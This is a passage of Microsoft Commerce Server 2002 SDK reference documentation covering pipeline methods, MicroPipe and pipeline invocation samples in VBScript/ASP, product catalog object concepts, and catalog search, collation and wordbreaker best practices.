[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file that is not designated to be used for transactions (for use in MtsPipeline or PooledPipeline).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.LoadPipe("CustomShip.pcf")

See Also

[C++] PooledTxPipeline Object

[Visual Basic] PooledTxPipeline Object

[C++] IPipeline::Execute

[Visual Basic] PooledTxPipeline.Execute

[C++] IPipeline::SetLogFile

[Visual Basic] PooledTxPipeline.SetLogFile


IPipeline::SetLogFile Method [C++]

PooledTxPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be enabled in a production environment: it degrades performance and could compromise the security of credit card numbers in non-set transactions. File systems must be configured to allow the process running the pipeline to have write access to the specified path.

Definition

[C++]
HRESULT IPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

The SetLogFile methodshould be called immediately before executing a pipeline.

Calling this method with an empty string turns off logging.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.SetLogFile("CustomShipping.log")

See Also

[C++] PooledTxPipeline Object

[Visual Basic] PooledTxPipeline Object

[C++] IPipeline::Execute

[Visual Basic] PooledTxPipeline.Execute

[C++] IPipeline::LoadPipe

[Visual Basic] PooledTxPipeline.LoadPipe


Example Code for Pipeline Objects

This section provides detailed examples of how to invoke a pipeline component and a pipeline.

Examples

Example | Description
Code to Invoke a Single Pipeline Component | Describes how to use the Micropipe object to run a single component.
Code to Invoke a Pipeline | Provides sample code to set up the objects and dictionaries necessary to run a pipeline.


Code to Invoke a Single Pipeline Component

The MicroPipe object is generally created and used on a per page basis. The steps to invoke the MicroPipe object are similar to those used to run any other pipeline:

  1. Create instances of the necessary dictionaries, the MicroPipe object, and the pipeline component.
  2. Set up the Order and Context dictionaries, and the Configuration dictionary (if necessary).
  3. Configure the component with either the Configuration dictionary or by setting component properties. The method used depends on the specific component.
  4. Load and run the MicroPipe object.
  5. Clean up objects created on the page.

The following examples show the MicroPipe object used with components configured with a dictionary and with properties.

Example of a component configured with a dictionary

The following example shows how to use the MicroPipe object with the SendSMTP pipeline component, which is configured with a dictionary:

' Create Order, Context, and Configuration dictionaries.
Set dOrder = Server.CreateObject("Commerce.Dictionary")
Set dContext = Server.CreateObject("Commerce.Dictionary")
Set dConfig    = Server.CreateObject("Commerce.Dictionary")

' Set values in the Configuration dictionary.
' Not all required values are shown.
dConfig("SubjectField") = "subject_field"
dConfig("BodyField") = "We will no longer accept bruised papayas" _
                       & " or mushy melons."
dConfig("BodyType") = 1

' Set values in the Order dictionary.
' Not all required values are shown.
dOrder("subject_field") = "To All Suppliers"

' Create an instance of the SendSMTP pipeline component.
Set pSMTP = Server.CreateObject("Commerce.SendSMTP")

' Create an instance of the MicroPipe object.
Set oMicropipe = Server.CreateObject("Commerce.MicroPipe")

' Configure the SendSMTP component with the Configuration dictionary.
pSMTP.SetConfigData dConfig

' Tell the MicroPipe which component to run, and run it.
oMicropipe.SetComponent pSMTP
errVal = oMicropipe.Execute(dOrder,dContext,lFlags)

' Checking for pipeline errors would be done here.

' Clean everything up.
Set dOrder = Nothing
Set dContext = Nothing
Set dConfig = Nothing
Set pSMTP = Nothing
Set oMicropipe = Nothing

Example of a component configured by setting properties

The following example shows how to use the MicroPipe object with a pipeline component, CopyValue3, configured by setting a property. The component is written as a Microsoft Visual Basic ActiveX control. The property, KeytoCopy, has as its value a key in the Order dictionary. The component creates a new key by copying the old key name, prefixing it with copy_, and then assigning to it the value of the original key:

' Create Order and Context dictionaries.
Set dOrder = Server.CreateObject("Commerce.Dictionary")
Set dContext = Server.CreateObject("Commerce.Dictionary")

' Create an instance of the CopyValue3 pipeline component.
Set pCopyValue = Server.CreateObject("My.CopyValue3")

' Set the dictionary key to copy - a property.
pCopyValue.KeytoCopy = "this_key"

' Set up the order dictionary - give the key to copy a value.
dOrder("this_key") = "...on the light fantastic toe"

' Create an instance of the MicroPipe object.
Set oMicropipe = Server.CreateObject("Commerce.MicroPipe")

' Tell the MicroPipe which component to run, and then run it.
oMicropipe.SetComponent pCopyValue
errVal = oMicropipe.Execute(dictOrder,dictContext,lFlags)

' Checking for pipeline errors would be done here.

' Clean everything up.
Set dOrder = Nothing
Set dContext = Nothing
Set pValue = Nothing
Set oMicropipe = Nothing


Code to Invoke a Pipeline

To use a pipeline configuration file in a pipeline requires a little more set up than using a single component in the MicroPipe object. Generally, in addition to the steps outlined above, you will need to create a MessageManager object and add messages to it in the Global.asa file. The documentation for each component indicates whether or not it uses the MessageManager object. The following code shows how the Application_OnStart procedure creates a MessageManager object and adds messages to it specifically for the ValidateCCNumber pipeline component:

<SCRIPT LANGUAGE=VBScript RUNAT=Server>
Sub Application_OnStart
    ' Set up the MessageManager and messages.
    Set oMessageManager = _
                      Server.CreateObject("Commerce.MessageManager")
    Call oMessageManager.AddLanguage("usa",&h0409)
    oMessageManager.defaultLanguage = "usa"
    Call oMessageManager.AddMessage("pur_cc_expired", _
                                    "Credit card has expired.")
    Call oMessageManager.AddMessage("pur_badcc", _
                             "The credit-card number is not valid.")
    ' Set up the data functions.
    Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
    oDataFunctions.Locale = &H0409
    Application.Lock
        Set Application("MSCSMessageManager") = oMessageManager
        Set Application("MSCSDataFunctions") = oDataFunctions
    Application.UnLock
End Sub
</SCRIPT>

Creating the Context dictionary and running the pipeline itself are so frequently done in a Commerce Server site that it makes sense to encapsulate this code in a one or more utility procedures contained in a separate Active Server Pages (ASP) page (for example, Util.asp):

<%
Function GetPipeContextUtil()
Set dContext = GetDictionary()
Set dContext.MessageManager = MSCSMessageManager
Set dContext.DataFunctions = MSCSDataFunctions
dContext.Language = sLanguage
Set dContext.CatalogManager = Application("MSCSCatalogManager")
Set dContext.CacheManager = Application("MSCSCacheManager")
Set dContext.ProfileService = MSCSProfileService

    Set GetPipeContextUtil = dContext
End Function
%>
<%
Function ExecPipeUtil(sPcfFile, dOrderForm, dContext)
    Dim sPcfPath
    sPcfPath = Request.ServerVariables("APPL_PHYSICAL_PATH") + _
                                                  "\config\" + _
                                                  sPcfFile)
    Set pPooled = Server.CreateObject("Commerce.PooledPipeline")
    Call pPooled.LoadPipe(sPcfPath)
    iErrLevel = pPooled.Execute(1, dOrderForm, dContext, 0)
    ExecPipeUtil = iErrLevel
End Function
%>

The following shows only the code that runs the pipeline. In a full application, more values would likely be added to the OrderForm object:

<%@ Language=VBScript %>
<!-- #include file="util.asp" -->
<%
    ' Create dictionary object orderform.

    Set dOrderForm = Server.CreateObject("Commerce.OrderForm")

    dOrderForm.[cc_type] = sCardType
    dOrderForm.[_cc_number] = sCardNumber
    dOrderForm.[_cc_expmonth] = sExpMonth
    dOrderForm.[_cc_expyear] = sExpYear

    ' Create the pipe context.

    Set dPipeContext = GetPipeContextUtil()

    ' Run the pipeline.
    iErrLevel = ExecPipeUtil("plan.pcf", dOrderForm, dPipeContext)

%>


Product Catalog Objects

The product catalog objects provide methods to create and manage catalogs, products, and categories in the Commerce Server 2002 Product Catalog System. These objects provide an interface for catalog data stored in a SQL Server database. Use data caching to improve the performance of the Product Catalog System by holding catalog data in memory and minimizing calls to the underlying database.

The Product Catalog Programming Concepts topic describes the concepts related to programming with product catalog objects.

Objects

Visual Basic reference | C++ invocation | Description
CatalogManager | CatalogManager | Allows management of catalogs across the entire Product Catalog System.
CatalogSets | CatalogSets | Allows filtering of multiple catalogs for different users and organizations.
CatalogSets2 | CatalogSets2 | Allows management of catalog sets in the Product Catalog System. Catalog sets allow for the presentation of different collections of catalogs to different users and organizations.
CatalogToVendorAssociation | CatalogToVendorAssociation | Allows a catalog to be associated with a particular vendor.
Category | Category | Allows management of a product hierarchy within a particular catalog. Also allows you to manipulate category properties and category relationships.
Product | Product | Allows manipulation of the relationships between a product variant and a product category. Also allows you to set the properties on a product.
ProductCatalog | ProductCatalog | Allows creation, deletion, and modification of catalog data.

Examples

Example | Description
Code to Activate or Deactivate a Product | Describes how to make a product visible or invisible to customers.
Code to Browse a Catalog | Describes how to implement catalog browsing functionality.
Code to Change How a Category is Displayed | Describes how to change the DisplayName property associated with a category.
Code to Find the Available Catalogs | Describes how to create a list of all catalog names.
Code to Hide Searchable Categories | Describes how to hide search categories from users.
Code to Perform a Search of a Catalog | Describes how to perform a catalog search.
Code to Join an External Table to Product Recordsets | Describes how to join a table or view of data to the product recordsets returned by methods in the Product Catalog System.
Code to Perform a Specification Search of a Catalog | Describes how to perform a specification search.
Code to Stage Products and Catalogs by Time | Describes how to set a time at which a catalog or product will be available to users.
Code to Use Caching with a Catalog | Describes how to implement caching with a catalog.

See Also

CatalogManager Object

CacheManager Object


Product Catalog Programming Concepts

The CatalogManager object is the foundation of the Product Catalog System object model. You use the CatalogManager object to create and manage the ProductCatalog, Category, and Product objects in the system. The CatalogSets and CatalogToVendorAssociation objects are managed directly by application code rather than through the CatalogManager object.

The CatalogManager object instantiates one or more ProductCatalog objects. Each ProductCatalog object represents a catalog in the Product Catalog System. A catalog can consist of a flat list of products or it can have a hierarchy of categories in which to organize the products. Each Category object represents a node in this hierarchy and contains products or other categories.

The CatalogManager object also manages a collection of properties. These properties are used to define the attributes of the objects in the Product Catalog System. Appropriate properties must be created before the CatalogManager object can create any other objects.

The Commerce Server 2002 product catalog objects are described in the following topics:

  • CatalogManager Object
  • ProductCatalog Object
  • Product Object
  • Category Object
  • CatalogSets Object
  • CatalogToVendorAssociation Object
  • Category and Product Properties

CatalogManager Object

The CatalogManager object is the first object you create to use the Commerce Server 2002 Product Catalog System. Typically, a single CatalogManager object is created in the Global.asa file and used throughout an application. This object sets and retrieves properties that apply to all the catalogs in the Product Catalog System. You also use the CatalogManager object to create properties, define their attributes, and to create product and category definitions using those properties. See Category and Product Properties for more information about the properties in the Product Catalog System.

The CatalogManager object provides methods for queries and free text searches across single or multiple catalogs. The CatalogManager object provides methods for importing or exporting catalogs in comma-separated values (CSV) or XML formats.

The CatalogManager.CreateCatalog and CatalogManager.GetCatalog methods return a ProductCatalog object representing a specific catalog. The CatalogManager.Catalogs property is a recordset of all the catalogs in the Product Catalog System.

ProductCatalog Object

The ProductCatalog object represents a single catalog in the Product Catalog System. A catalog can be created either as a base catalog that contains products or as a virtual catalog that references products in one or more base catalogs. A virtual catalog can present products in a different hierarchy than the base catalog that it references. In Commerce Server 2002, virtual catalogs replace the custom catalogs available in Commerce Server 2000. Custom catalogs are not supported in Commerce Server 2002. All the methods for supporting custom catalogs exist in Commerce Server 2002, but they return an error. An upgrade from Commerce Server 2000 to Commerce Server 2002 converts all custom catalogs to virtual catalogs. Virtual catalogs are more flexible than custom catalogs.

You use the ProductCatalog object to add new products and categories to a catalog, either directly or through inclusion rules, to retrieve the products or categories in a catalog, or to perform a specification search of a catalog. All of the methods of the ProductCatalog object are run from the context of a specific catalog. Most methods apply equally to both base and virtual catalogs. Because a virtual catalog presents products that are contained in a base catalog, you cannot create a product from within a virtual catalog. A virtual catalog can contain new categories that are used to present included products or categories in a different hierarchy. Virtual catalog rules and price rules apply only to virtual catalogs and cannot be used within a base catalog. Virtual catalogs can also be used to support multicurrency applications.

A virtual catalog can present categories and products from several base catalogs. This is referred to as an aggregated catalog. Category names, product IDs, and variant IDs must be unique within a catalog. A virtual catalog handles these identifiers differently from a base catalog to avoid name conflicts. It does this by appending the name of the containing catalog to the identifier. For example, the product ID property in "BaseCatalog1" is "ProductNumber". When the base catalog is included in "VirtualCatalog2" the property name is changed to "ProductNumber(BaseCatalog1)" within the virtual catalog. When a new category is created in the same virtual catalog with "VirtualCategory" specified as the category name, the name is changed to "VirtualCategory(VirtualCatalog2)".

A virtual catalog acts exactly like a base catalog from the perspective of your application, but is quite different from the perspective of Commerce Server Business Desk. Likewise, the run-time API methods and properties act identically, but the design-time methods and properties are quite different. Some methods apply only to base catalogs, while others apply only to virtual catalogs. For example, you can create products only in a base catalog and you can add inclusion or exclusion rules only to a virtual catalog. Some properties, such as the PrimaryParent property, can be edited only in a base catalog.

Each time a virtual catalog rule or a price rule is changed, the virtual catalog is marked as dirty. Each time a change is made to a base catalog the catalog is marked as dirty. These changes will not affect the contents of a virtual catalog until it is rebuilt. The VirtualCatalogStatus catalog attribute stores the state of the catalog.

By default, virtual catalogs are created as views. This makes it easier and quicker to edit a virtual catalog, but can reduce the run-time performance in comparison to base catalogs. You can materialize a virtual catalog to improve the run-time performance. The tradeoff is that it takes much longer to rebuild that catalog after editing it. The materialize.vbs script can be used to set or reset a catalog attribute so that the catalog will be materialized when it is rebuilt.

You can use the CatalogManager.AddCatalogAttribute method to extend the ProductCatalog object with user-defined attributes. You could, for example, store information about the product vendor as one or more attributes of a catalog. This would eliminate the need for the CatalogToVendorAssociation object.

The ProductCatalog object supports multilingual catalogs. ProductCatalog objects have a multilingual DisplayName attribute. Each multilingual property in a multilingual catalog has a separate value for each language in the catalog. Any ProductCatalog object method that returns these properties returns them in the current language of the catalog. This maintains backward compatibility with existing application code. The current language is specified in the Language property of the ProductCatalog object. The ProductCatalog.Language property also specifies the language for all product/category objects that are obtained from this ProductCatalog object.

The ProductCatalog.RootCategories method returns a recordset of categories that is the starting point for traversing the category hierarchy. Similarly, the ProductCatalog.RootProducts method returns a recordset of products that are not in the category hierarchy.

Product Object

The Product object represents a single product or product family in the catalog. A product definition is created by using the CatalogManager object and can be used across the Product Catalog System, but a product is always stored in the context of a single base catalog. Use the Product object to perform operations on a product, such as modifying properties, creating product variants, or managing relationships.

Category Object

The Category object represents a single category in the catalog. Categories provide a method for organizing products within a catalog. Use this object to perform various operations on a category, such as adding products or other categories, or managing relationships. You can also use the Category object to perform a search that is scoped to the Category object. All categories have a multilingual DisplayName attribute. This attribute supports multilingual catalogs and allows different categories to appear to have the same name. See Code to Change How a Category is Displayed for details.

The Category.ChildCategories property is a recordset containing the names of categories that exist below this category in the hierarchy. The Category.Products property is a recordset containing all the products that exist directly in this category.

CatalogSets Object

The CatalogSets object stores and manages catalog sets, which are arbitrary collections of catalogs. Catalog sets allow you to present different collections of catalogs to different users and organizations.

CatalogToVendorAssociation Object

The CatalogToVendorAssociation object stores and manages associations between catalogs and vendors (suppliers).

Category and Product Properties

Properties are created and managed by the CatalogManager object. Property names must be unique across the Product Catalog System; however, the same property can be shared by any number of product or category definitions. Each property has a number of built in attributes, such as PropertyName and Datatype. You can extend properties by adding user-defined attributes.

Properties can be language neutral or multilingual. Language neutral properties have a single value; multilingual properties have a different value for each language supported in a catalog. Multilingual string, enumeration, and text properties can have a default value for each language in the Product Catalog System. All properties have a multilingual DisplayName attribute, even if they are language neutral. Monetary properties can have an attribute to specify their currency. All properties have an IsRequired attribute. If the IsRequired attribute is True, then Commerce Server Business Desk enforces requiring a value for the property.

The collation order and word breaker can be specified on a per-language basis. This is done by editing an XML file that is also used to configure Business Desk. See Language Configuration for details about the XML configuration file.

See Also

Product Catalog Objects

Example Code for Product Catalog Objects

CatalogManager Object

ProductCatalog Object

Category Object

Product Object

CatalogSets Object

CatalogToVendorAssociation Object

Copyright © 1996–2002 Microsoft Corporation.
Alle Rechte vorbehalten.


Programming Best Practices for Catalogs

This topic describes the best practices for common programming scenarios when working with catalogs. It is recommended that you also see Example Code for Product Catalog Objects.

  • Catalog Code Optimization
  • Specifying the Collation for a Catalog Language
  • Preventing Errors While Doing a Free Text Search
  • Combining Property Searches and Freetext Searches
  • Updating FullText Catalogs
  • Using Wordbreakers with Product Catalogs
  • Getting the Status of an XML Import Operation
  • Changing Non-Multilingual Properties to Multilingual
  • Converting Properties to Multilingual in a CSV File
  • Specifying Input Parameters for Search Conditions
  • Changing the Data Type of a Catalog Property
  • Converting a Commerce Server 2000 Multilingual Catalog to Commerce Server 2002
  • Adding Relationships Across Catalogs
  • Working with Root Categories
  • Adding User-Defined Attributes to Catalogs
  • Associating Additional Information with Catalog Properties
  • Working with Materialized and Non-Materialized Virtual Catalogs
  • Pricing Rules in Custom Catalogs and Virtual Catalogs
  • Using Current Product Prices vs Original Product Prices


Catalog Code Optimization

Several catalog object methods have been optimized to speed performance for a few special cases. The following methods have been optimized for this purpose:

CatalogManager.Search

Category.Products

CatalogManager.FreeTextSearch

CatalogManager.Query

One optimization is in place for the case where the record count is required, but the actual records are not required. Another optimization is in place for the case where the paged records are required in an unsorted manner, but the record count is not required.

Currently, most of the site code (both Retail site and International Retail site code) calls the APIs in the general mode: this means that both the paged records and the record count are requested. However, this method of calling the API is much costlier than the two options just described.

The following code samples demonstrate best practices to take advantage of the optimized features described above:

  • Paging through the products of a catalog
  • Querying catalogs
  • Implementing free text search

Paging through the products of a catalog

The following code sample illustrates catalog product paging that takes advantage of the optimized features:

' This applies only if you do not want the recordset to be sorted
' First get the total number of products under this category
Dim oCatalogManager
Dim oProductCatalog
Dim oCategory
Dim TotalRecords

Set oCatalogManager = CreateObject("Commerce.Catalogmanager")
Call oCatalogManager.Initialize("Provider=SQLOLEDB;Integrated Security='SSPI';Data Source=(local);Initial catalog=catalogdb", True)
Set oProductCatalog = oCatalogManager.GetCatalog("Mycatalog")
Set oCategory = oProductCatalog.getCategory("Mycategory")
'Get the total number of products and families under this category
Set oRs = oCategory.Products(12, , 1, 0, TotalRecords)

'Once you get TotalRecords Cache it and pass NULL for TotalRecords in subsequent calls.
'Use the following call to page through the products
'get the first 10 products. Pass Null to the TotalRecords parameter
Set oRs = oCategory.Products(12, , 1, 10, Null)
'get 10 products starting from the 50th product. Pass Null to the TotalRecords parameter
Set oRs = oCategory.Products(12, , 50, 10, Null)

Querying catalogs

The following code sample illustrates catalog querying that takes advantage of the optimized features:

'This applies only if you do not want the recordset to be sorted
' First get the total number of records
Dim oCatalogManager
Set oCatalogManager = CreateObject("Commerce.Catalogmanager")
Call oCatalogManager.Initialize("Provider=SQLOLEDB;Integrated Security='SSPI';Data Source=(local);
Initial catalog=catalogdb", True)
Set oRs = oCatalogManager.Search("cy_list_price>0", , "mycatalog", 14, "[ProductId],[VariantId],[cy_list_price],[Name],[Description]", , , 1, 0, "en-us", TotalRecords)
' Cache TotalRecords and do pass NULL for TotalRecords
' in subsequent calls.
' Use the following call to page through the query results
'get the first 10 records. Pass Null to the TotalRecords parameter
Set oRs = oCatalogManager.Search("cy_list_price>0", , "mycatalog", 14, "[ProductId],[VariantId],[cy_list_price],[Name],[Description]", , , 1, 10, "en-us", Null)
' Get 10 records starting from the 50th product.
' Pass Null to the TotalRecords parameter
Set oRs = oCatalogManager.Search("cy_list_price>0", , "mycatalog", 14, "[ProductId],[VariantId],[cy_list_price],[Name],[Description]", , , 50, 10, "en-us", Null)

Implementing free text search

The following code sample illustrates free text search that takes advantage of the optimized features:

' This applies only if you do not want the recordset to be sorted
' First get the total number of records
Dim oCatalogManager

Set oCatalogManager = CreateObject("Commerce.Catalogmanager")
Call oCatalogManager.Initialize("Provider=SQLOLEDB;Integrated Security='SSPI';Data Source=(local);Initial catalog=catalogdb", True)
Set oRs = oCatalogManager.Search(,"books" , "mycatalog",_
   14, "[ProductId],[VariantId],[cy_list_price],[Name], _
   [Description]", , , 1, 0, "en-us", TotalRecords)
' Cache TotalRecords and do pass NULL for TotalRecords
' in subsequent calls.
' Use the following call to page through the query results
' Get the first 10 records. Pass Null to the TotalRecords parameter
Set oRs = oCatalogManager.Search(,"books", "mycatalog", _
  14, "[ProductId],[VariantId],[cy_list_price],[Name],_
   [Description]", , , 1, 10, "en-us", Null)
' Get 10 records starting from the 50th record.
' Pass Null to the TotalRecords parameter
Set oRs = oCatalogManager.Search(,"books", "mycatalog",_
   14, "[ProductId],[VariantId],[cy_list_price], _
   [Name],[Description]", , , 50, 10, "en-us", Null)


Specifying the Collation for a Catalog Language

A collation specifies the bit patterns that represent each character and the rules by which characters are sorted and compared. Because Commerce Server 2002 supports multiple languages, you can specify the collation for each language to get better results.

You can specify the collation for a language by using the updatelanguageinfo.vbs script in the Program Files\Microsoft Commerce Server 2002\Support directory.

Add an attribute named collation to the Language element for which you want to specify the collation:

<?xml version = '1.0' encoding='utf-8' ?>
<Languages>
<Language culture_name="ja-JP"    display_name="Japanese - Japan" culture_code="0x0411" iso639x="JPN" collation="Japanese_CI_AS" word_breaker=""/>
</Languages>

This will use the Japanese_CI_AS collation for the culture code ja-JP.

Run the following script: UpdatelanguageInfo <path of the languages.xml file>.

SQL Server supports the following collations:

Sort order ID | SQL collation name
30 | SQL_Latin1_General_Cp437_BIN
31 | SQL_Latin1_General_Cp437_CS_AS
32 | SQL_Latin1_General_Cp437_CI_AS
33 | SQL_Latin1_General_Pref_CP437_CI_AS
34 | SQL_Latin1_General_Cp437_CI_AI
40 | SQL_Latin1_General_Cp850_BIN
41 | SQL_Latin1_General_Cp850_CS_AS
42 | SQL_Latin1_General_Cp850_CI_AS
43 | SQL_Latin1_General_Pref_CP850_CI_AS
44 | SQL_Latin1_General_Cp850_CI_AI
49 | SQL_1Xcompat_CP850_CI_AS
50 | Latin1_General_BIN
51 | SQL_Latin1_General_Cp1_CS_AS
52 | SQL_Latin1_General_Cp1_CI_AS
53 | SQL_Latin1_General_Pref_CP1_CI_AS
54 | SQL_Latin1_General_Cp1_CI_AI
55 | SQL_AltDiction_Cp850_CS_AS
56 | SQL_AltDiction_Pref_CP850_CI_AS
57 | SQL_AltDiction_Cp850_CI_AI
58 | SQL_Scandinavian_Pref_Cp850_CI_AS
59 | SQL_Scandinavian_Cp850_CS_AS
60 | SQL_Scandinavian_Cp850_CI_AS
61 | SQL_AltDiction_Cp850_CI_AS
71 | Latin1_General_CS_AS
72 | Latin1_General_CI_AS
73 | Danish_Norwegian_CS_AS
74 | Finnish_Swedish_CS_AS
75 | Icelandic_CS_AS
80 | Hungarian_BIN (or Albanian_BIN, Czech_BIN, and so on)1
81 | SQL_Latin1_General_Cp1250_CS_AS
82 | SQL_Latin1_General_Cp1250_CI_AS
83 | SQL_Czech_Cp1250_CS_AS
84 | SQL_Czech_Cp1250_CI_AS
85 | SQL_Hungarian_Cp1250_CS_AS
86 | SQL_Hungarian_Cp1250_CI_AS
87 | SQL_Polish_Cp1250_CS_AS
88 | SQL_Polish_Cp1250_CI_AS
89 | SQL_Romanian_Cp1250_CS_AS
90 | SQL_Romanian_Cp1250_CI_AS
91 | SQL_Croatian_Cp1250_CS_AS
92 | SQL_Croatian_Cp1250_CI_AS
93 | SQL_Slovak_Cp1250_CS_AS
94 | SQL_Slovak_Cp1250_CI_AS
95 | SQL_Slovenian_Cp1250_CS_AS
96 | SQL_Slovenian_Cp1250_CI_AS
104 | Cyrillic_General_BIN (or Ukrainian_BIN, Macedonian_BIN)
105 | SQL_Latin1_General_Cp1251_CS_AS
106 | SQL_Latin1_General_Cp1251_CI_AS
107 | SQL_Ukrainian_Cp1251_CS_AS
108 | SQL_Ukrainian_Cp1251_CI_AS
112 | Greek_BIN
113 | SQL_Latin1_General_Cp1253_CS_AS
114 | SQL_Latin1_General_Cp1253_CI_AS
120 | SQL_MixDiction_Cp1253_CS_AS
121 | SQL_AltDiction_Cp1253_CS_AS
124 | SQL_Latin1_General_Cp1253_CI_AI
128 | Turkish_BIN
129 | SQL_Latin1_General_Cp1254_CS_AS
130 | SQL_Latin1_General_Cp1254_CI_AS
136 | Hebrew_BIN
137 | SQL_Latin1_General_Cp1255_CS_AS
138 | SQL_Latin1_General_Cp1255_CI_AS
144 | Arabic_BIN
145 | SQL_Latin1_General_Cp1256_CS_AS
146 | SQL_Latin1_General_Cp1256_CI_AS
153 | SQL_Latin1_General_Cp1257_CS_AS
154 | SQL_Latin1_General_Cp1257_CI_AS
155 | SQL_Estonian_Cp1257_CS_AS
156 | SQL_Estonian_Cp1257_CI_AS
157 | SQL_Latvian_Cp1257_CS_AS
158 | SQL_Latvian_Cp1257_CI_AS
159 | SQL_Lithuanian_Cp1257_CS_AS
160 | SQL_Lithuanian_Cp1257_CI_AS
183 | SQL_Danish_Pref_Cp1_CI_AS
184 | SQL_SwedishPhone_Pref_Cp1_CI_AS
185 | SQL_SwedishStd_Pref_Cp1_CI_AS
186 | SQL_Icelandic_Pref_Cp1_CI_AS
192 | Japanese_BIN
193 | Japanese_CI_AS
194 | Korean_Wansung_BIN
195 | Korean_Wansung_CI_AS
196 | Chinese_Taiwan_Stroke_BIN
197 | Chinese_Taiwan_Stroke_CI_AS
198 | Chinese_PRC_BIN
199 | Chinese_PRC_CI_AS
200 | Japanese_CS_AS
201 | Korean_Wansung_CS_AS
202 | Chinese_Taiwan_Stroke_CS_AS
203 | Chinese_PRC_CS_AS
204 | Thai_BIN
205 | Thai_CI_AS
206 | Thai_CS_AS
210 | SQL_EBCDIC037_CP1_CS_AS
211 | SQL_EBCDIC273_CP1_CS_AS
212 | SQL_EBCDIC277_CP1_CS_AS
213 | SQL_EBCDIC278_CP1_CS_AS
214 | SQL_EBCDIC280_CP1_CS_AS
215 | SQL_EBCDIC284_CP1_CS_AS
216 | SQL_EBCDIC285_CP1_CS_AS
217 | SQL_EBCDIC297_CP1_CS_AS


Preventing Errors While Doing a Free Text Search

To prevent the "The query contained only ignored words" error while doing a free text search for some search phrases, use the UpdateFullTextCatalogs.vbs script in the Program Files\Microsoft Commerce Server 2002\Support folder.

Use the following command:

UpdateFullTextCatalogs.vbs –I

You need to run this script every time you create a catalog.

If you add a product to your catalog and find that when you do a free text search the product is not returned in the recordset, you must enable change tracking.

For performance reasons, by default the FullText catalogs are not enabled for change tracking. Therefore, every time you make changes to the catalog you must call the RegenerateFreeTextSearchIndex method of the ProductCatalog object to update the FullText catalogs. You can also enable change tracking by using SQL Server Enterprise Manager. By enabling change tracking, the contents of the FullText catalog are updated in response to changes made in the catalog. The CatalogGlobal table in the catalog database stores the FullText catalog that is created for each catalog.


Combining Property Searches and Free Text Searches

You can use the Search method of the CatalogManager object to combine property search with free text search. The following example searches all books with price less than 100 dollars:

oCatalogManager.Search(“cy_list_price<100”, “books”,”mycatalog”)

You can use the Search method of the Category object to restrict your search to a single category. You can also specify if you want to search recursively or not.

Sometimes the FreetextSearch and Query methods do not return an error and the recordset is null. The FreetextSearch and Query methods will write the error to the event log.

When doing a free text search, you can use the FreeTextSearch_Rank property to find out how well a row in the returned recordset matched your search phrase. You can also sort results based on this rank. For example:

oCatalogManager.FreeTextSearch(“books”,”mycatalog”, ,”[Name],[Description],[ FreeTextSearch_Rank]”,
“[FreeTextSearch_Rank]”)
 oCatalogManager.Search(,“books” ,”mycatalog”, ,”[Name],[Description],[ FreeTextSearch_Rank]”,
“[FreeTextSearch_Rank]”)

However, FreeTextSearch_Rank can be specified with the Search method only if the strFTSPhrase parameter is not blank.


Updating FullText Catalogs

If you have multiple Commerce Server 2002 catalogs in one FullText catalog, you can use the UpdateFulltextcatalogs.vbs script in the Program Files\Microsoft Commerce Server 2002\Support directory to update your FullText catalogs.

If you do not want FullText catalogs to be created when you create a catalog, you can set the value of the lNumFullTextCatalogs parameter in the CatalogManager.Initialize method to 0. For example:

oCatalogManager.Initialize “connection string” , true, 0

To prevent catalogs from being created during an XML import process, set the value of the fGenerateFullTextIndexes parameter in the CatalogManager.ImportXML method to false. For example:

oCatalogManager.ImportXML “xml file path”, true, true, false

If you are creating catalogs by using Business Desk, then you can use the Commerce Server MMC to set the value of the num_full_text_catalogs property of the Product catalog resource to 0.

You can create the FullText catalogs later by using the RegenerateFreeTextIndex method of the ProductCatalog object.


Using Wordbreakers with Product Catalogs

The Product Catalog System uses a neutral-language wordbreaker for searching language-insensitive content and a language-specific wordbreaker for each language in the catalog. You can change these wordbreakers to suit your needs.

To specify the wordbreaker to be used for a language, use the UpdateLanguageInfo.vbs script in the Program Files\Microsoft Commerce Server 2002\Support directory.

SQL Server 2000 supports the following wordbreakers:

Wordbreaker | Locale ID
Neutral | 0
Chinese_Simplified | 0x0804
Chinese_Traditional | 0x0404
Dutch | 0x0413
English_UK | 0x0809
English_US | 0x0409
French | 0x040c
German | 0x0407
Italian | 0x0410
Japanese | 0x0411
Korean | 0x0412
Spanish_Modern | 0x0c0a
Swedish_Default | 0x041d

By default, Commerce Server 2002 is configured to use the following wordbreakers for the following languages.

Language code | Wordbreaker
